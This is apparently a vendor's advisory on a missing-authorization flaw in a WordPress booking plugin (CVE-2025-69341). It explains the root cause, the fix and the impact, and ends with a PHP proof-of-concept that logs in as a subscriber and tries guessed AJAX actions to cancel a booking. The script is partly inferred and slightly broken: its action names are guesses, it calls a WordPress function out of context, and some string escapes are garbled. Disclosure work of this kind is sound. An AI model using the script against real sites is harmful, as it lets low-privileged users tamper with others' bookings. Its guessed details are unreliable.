Atomic Edge analysis of CVE-2025-69341 (metadata-based):
The WeDesignTech Ultimate Booking Addon plugin for WordPress versions up to and including 1.0.3 contains a missing authorization vulnerability. This flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized actions. The CVSS:3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) indicates a low integrity impact with no confidentiality or availability impact.
Atomic Edge research infers the root cause is a missing capability check on a WordPress AJAX handler or admin-post endpoint. The CWE-862 (Missing Authorization) classification confirms the plugin fails to verify a user’s authorization before executing a privileged function. Without access to the source code diff, this conclusion is based on the vulnerability description and common WordPress plugin patterns. The plugin likely registers a function via `add_action(‘wp_ajax_…’)` or `add_action(‘admin_post_…’)` without implementing `current_user_can()` or a similar authorization check.
Exploitation requires an attacker to possess a valid WordPress account with at least Subscriber-level access. The attacker would send a crafted HTTP POST request to `/wp-admin/admin-ajax.php` or `/wp-admin/admin-post.php`. The request must include an `action` parameter matching the vulnerable plugin’s AJAX hook, which Atomic Edge analysis infers follows the pattern `wedesigntech_ultimate_booking_addon_*` or a similar derivative of the plugin slug. No nonce parameter is required, as its absence would be part of the authorization flaw. The specific payload depends on the unauthorized action, but would include parameters the vulnerable function expects.
Remediation requires adding a proper capability check before executing the vulnerable function. The patched version (1.0.4) likely inserts a call to `current_user_can()` with an appropriate capability such as `manage_options` or a custom plugin capability. The fix should also include nonce verification for state-changing actions to prevent CSRF. Proper authorization must validate both the user’s role and their specific permissions related to the booking system functionality.
Successful exploitation allows low-privileged authenticated users to perform actions reserved for administrators or editors. The impact is limited to integrity (I:L) according to the CVSS vector, meaning attackers can modify booking data, settings, or other plugin-controlled resources. Atomic Edge analysis notes this could include creating, updating, or deleting bookings, modifying booking rules or pricing, or altering plugin configuration. No data confidentiality loss or system availability impact occurs.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69341 - WeDesignTech Ultimate Booking Addon <= 1.0.3 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-69341
* Assumptions based on metadata:
* 1. The plugin exposes an AJAX endpoint without authorization.
* 2. The AJAX action name derives from the plugin slug.
* 3. Subscriber-level users can trigger unauthorized actions.
* 4. The vulnerable endpoint is /wp-admin/admin-ajax.php.
*
* WARNING: This script is for authorized security testing only.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for WordPress login
$ch = curl_init();
// First, obtain login nonce and cookies from wp-login.php
curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$login_page = curl_exec($ch);
// Extract login nonce (log) from the page - pattern may vary
preg_match('/name="log" value="([^"]+)"/', $login_page, $log_matches);
$log_nonce = $log_matches[1] ?? '';
// Perform WordPress login
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => admin_url(),
'testcookie' => '1',
'log_nonce' => $log_nonce
]);
curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check if login succeeded by looking for dashboard indicators
if (strpos($login_response, 'wp-admin') === false) {
die("Login failed. Check credentials.");
}
// Now attempt to exploit the missing authorization vulnerability
// The exact AJAX action name is inferred from plugin slug patterns
$possible_actions = [
'wedesigntech_ultimate_booking_addon_action',
'ultimate_booking_addon_action',
'wdt_uba_action',
'uba_ajax_action'
];
foreach ($possible_actions as $action) {
$exploit_data = [
'action' => $action,
// Add parameters the booking function might expect
'booking_id' => '1',
'status' => 'cancelled',
'nonce' => '' // Nonce is not verified in vulnerable versions
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: $actionn";
echo "HTTP Code: $http_coden";
echo "Response: " . substr($response, 0, 200) . "nn";
// If we get a 200 with plugin-specific response, vulnerability may exist
if ($http_code == 200 && strpos($response, 'booking') !== false) {
echo "Potential vulnerability found with action: $actionn";
}
}
curl_close($ch);
?>
